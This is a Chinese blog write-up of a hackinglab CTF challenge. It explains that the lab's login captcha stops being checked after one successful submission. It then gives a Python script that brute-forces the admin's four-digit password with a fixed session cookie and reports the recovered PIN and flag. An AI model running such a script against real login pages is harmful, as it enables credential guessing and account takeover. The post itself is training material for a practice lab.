美文网首页
hackinglib 脚本关 - 逗比验证码第二期

hackinglib 脚本关 - 逗比验证码第二期

作者: taiji1985 | 来源:发表于2017-12-23 20:28 被阅读35次

    原题

    逗比验证码第二期
    分值: 150
    验证便失效的验证码

    分析

    在上一个题目中,验证码因为没有提交一次就失效,所以导致了重复提交问题,这一次,专门做了验证一次就失效。 但成功后,再次提交发现不用再填vcode了 (可以通过burp 截获并repeater 发送的方法来监测),发现这个问题后,写脚本攻击即可。

    image.png
    import requests
    import json
    
    
    import sys
    proxies = {
    #  "http": "http://127.0.0.1:8080",
    }
    u = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
    
    for i in range(1000,9999):
    
        data = {'username': 'admin',"pwd":i,"submit":"submit","vcode":""}
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0',
            'Cookie': 'PHPSESSID=7cd8b0e523175abdbab539685b9b6251'
        }
        r = requests.post(u, data=data,headers=headers,proxies=proxies)
        r.encoding = 'utf-8' 
    
        html = r.text.encode('utf-8', 'ignore')
        if html.find('error')>=0:
            print "I= ",  i, ' ',html
            sys.stdout.flush()
        else:
            print 'i= '+str(i)
            print html
            break
    
    

    最后找到了key
    i= 1228
    key is LJLJL789ss33fasvxcvsdf#@sd

    相关文章

      网友评论

          本文标题:hackinglib 脚本关 - 逗比验证码第二期

          本文链接:https://www.haomeiwen.com/subject/wngqgxtx.html